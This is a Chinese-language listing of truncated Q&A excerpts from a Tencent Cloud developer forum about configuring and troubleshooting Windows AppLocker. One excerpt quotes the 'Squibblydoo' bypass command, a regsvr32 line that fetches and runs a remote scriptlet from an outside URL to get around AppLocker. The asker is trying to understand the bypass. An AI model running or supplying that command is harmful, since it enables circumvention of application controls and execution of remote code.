回答情况：
提问时间：
问题标签：
我们将软件的一个组件作为MSI发送给激活了AppLocker的客户。安装失败，AppLocker启动。据我所知，问题是：
创建一个AppLocker规则，允许普通用户从指定目录安装MSI。有什么简单的方法可以让MSI与AppLo
浏览 3修改于2015-09-04得票数 1
我们使用Applocker来限制对某些程序的访问，但是我们希望这样做。
是否有办法为应用程序鼓掌，但禁用“管理员阻止了对此程序的访问”弹出消息？
浏览 0修改于2014-01-09得票数 0
回答已采纳
我读过许多来自微软和其他人的文章，说新的Applocker功能比旧的软件限制策略好100%，并被推荐作为后者的替代品。
除了内核模式执行之外，我不确定理解Applocker的真正优势。与SRP相比，Applocker有哪些优点，您对软件控制有什么建议？
浏览 0提问于2012-11-09得票数 13
我试图在Windows10Enterprise上启用AppLocker。AppID策略转换失败。拒绝状态访问用户: SYSTEM
这基本上就是我得到的全部信息。如果我忽略了这个错误(这不是一个好主意，除非您正在使用最近恢复点的干净机器)，并且我继续配置AppLocker，那么它适用于该会话。
浏览 0修改于2017-01-25得票数 1
最令人头疼的是该组织不使用AppLocker。
硬挖掘每个可能的安装路径似乎都很痛苦，并且将每个Java安装程序添加到我们的防病毒中会给我们提供托管AV服务的客户带来问题。在不使用AppLocker的情况下，还有其他方法来阻止特定的应用程序安装吗？
浏览 0修改于2023-02-10得票数 0
当通过组策略在仅包含安装了我们软件的单个VM的测试域上启用AppLocker时，加载时间会显著增加。此枚举需要大量时间才能运行，它针对可执行加载链中的每个DLL运行，并且仅在启用AppLocker时才能看到。谢谢!
浏览 5修改于2016-02-12得票数 1
我想让Applocker成为一个独立的、非管理的国有企业。我启用了应用程序标识服务，创建了默认的可执行规则，并将可执行规则设置为“强制执行规则”，并加上了“配置”。无论我做什么，都不会在事件查看器中出现“应用程序和服务日志/Microsoft/Windows/Applocker/EXE和DLL”。是否可能仅仅使用gpedit.msc而不是组策略管理来启用Applocker？
编辑:我应该澄清，这个SOE不是域连接的。
浏览 0修改于2016-10-05得票数 0
我使用AppLocker来阻止标准用户执行除我们签名的应用程序之外的任何东西，以及一些必要的Windows文件。exe和dll文件使用signtool.exe使用我们的证书进行签名，然后在AppLocker中我有发行者规则，这些规则阻止用户运行未经我们签名的任何内容。我读了一些，据我所知，原因可能是这些不是“正常”(Win32) dll，而是在CLR中编译和执行的程序集，它绕过了AppLocker dll规则？更新：
感谢发现了这个问题的原因，因为AppLocker规则在.NET 3.5上很好地工作，所以微软很可能刚刚破坏
浏览 5修改于2021-12-02得票数 3
回答已采纳
我们在RDS服务器上运行AppLocker。我们保留默认规则列表，为自定义应用程序添加允许规则，并添加单个块规则。将AppLocker剥离到默认规则，以本地管理员身份登录(授予在硬盘上运行所有内容的能力！)，并且没有其他规则，它阻止了对Settings应用程序的访问。试图打开设置应用程序会显示标准的AppLocker错误：“此应用程序已被系统管理员阻止。有关更多信息，请与系统管理员联系。”
这真是令人费解。AppLocker似乎无法应付通用应用程序。
浏览 0提问于2018-02-15得票数 0
回答已采纳
我有一个windows 7图像，它使用的是我无法修改或禁用的applocker规则集。执行以下操作似乎对此强制执行的AppLocker神秘规则集没有任何影响：重新启动AppIdSvc以上任何组合这是使用模块的结果：Get-AppLockerPolicy -Effective | Test-AppLockerPolicy -Path c:\TestScript.bat，并且在<em
浏览 0提问于2014-11-05得票数 1
为了减少Applocker打包应用程序的数量，现在我们正在使用私有商店。我们正在研究只发布规则(现在，每个microsoft商店应用程序都有1条规则)。
浏览 0提问于2022-06-14得票数 0
回答已采纳
在C#中，是否有方法从事件查看器读取AppLocker (位于应用程序和服务日志/Microsoft/Windows/Applocker)应用程序的安全事件？
浏览 3修改于2017-05-23得票数 1
配置applocker以防止打开cmd，转到系统服务应用程序identity=automatic，首选项services=application标识设置为自动，不知何故将gpo(applocker)链接到整个域
浏览 0修改于2019-10-21得票数 -1
我们有一个WindowsServer2019操作系统映像，其中包含为服务器本身定义的一组本地AppLocker规则。我们注意到，当我们在服务器上打开应用程序时，AppLocker没有强制执行任何规则。有可能其中之一是与AppLocker互动，但我似乎找不到任何信息，哪些可能是感兴趣的。
浏览 0提问于2022-05-10得票数 1
我在几个博客上读到了一个叫做"Squibblydoo“的技巧，下面的命令可以绕过AppLocker：
regsvr32 /s /n /u /i:http://reg.cx/2kK3 scrobj.dll其中，URL指向一个脚本文件，该脚本文件包含打开Powershell的命令(在这种情况下，该脚本文件被AppLocker阻止)。由于某种原因，文件中的脚本可以执行，然后可以打开被AppLocker阻塞的应用程序。
浏览 0修改于2018-04-06得票数 7
回答已采纳
现在，微软似乎推荐Applocker。然而，我们发现没有可能添加诸如JAR、CPL、MSC等自定义扩展，这在软件限制策略中是可能的。您知道如何在Windows 2008中为Applocker策略添加自定义扩展吗？或者如何阻止自定义脚本解释器(如Perl等)？
浏览 0修改于2012-11-18得票数 0
回答已采纳
我们使用这个ShellExecuteW函数： ShellExecuteW(NULL, "open", filePath, parameters, NULL, SW_SHOWNORMAL); 在未配置AppLocker使用AppLocker中的以下设置，并在没有管理员权限的情况下运行时尝试执行相同的操作，AppLocker会阻止setup.exe，这很好。AppLocker executable Rules Event Viewer AppLocker 我如何才能做到至少出现错误消息？
浏览 32修改于2019-05-15得票数 1
回答已采纳
我正在运行AppLocker，并希望使用XPath过滤掉正在登录到事件查看器中的事件的一些噪声。schemas.microsoft.com/win/2004/08/events/event"> <Provider Name="Microsoft-Windows-AppLockerCorrelation />
<Execution ProcessID="1108" T
浏览 0修改于2017-04-13得票数 0
我在玩组策略(自己自学)，偶然发现了applocker，我当然可以在某些情况下看到它的好处，但是在我为用户工作过的每一家公司里，用户永远不会使用特定的程序集，总是会有某些项目所需的软件块或某些版本的软件，从我的研究中可以看出使用Applocker是件痛苦的事情。我的问题是，试图配置applocker来防止赎金会不会有些过分呢？我知道，随机软件感染网络的最简单的方法是通过用户从实际上是..exe伪装的电子邮件中打开文件，那么对于applocker来说，是否有一种方法可以阻止.exes仅从电子邮件中运行，或者至少需要管理员凭据
浏览 0提问于2017-08-29得票数 1
腾讯云开发者
Copyright © 2013 - 2026 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号：粤B2-20090059 
粤公网安备44030502008569号
腾讯云计算（北京）有限责任公司 京ICP证150476号 | 京ICP备11018762号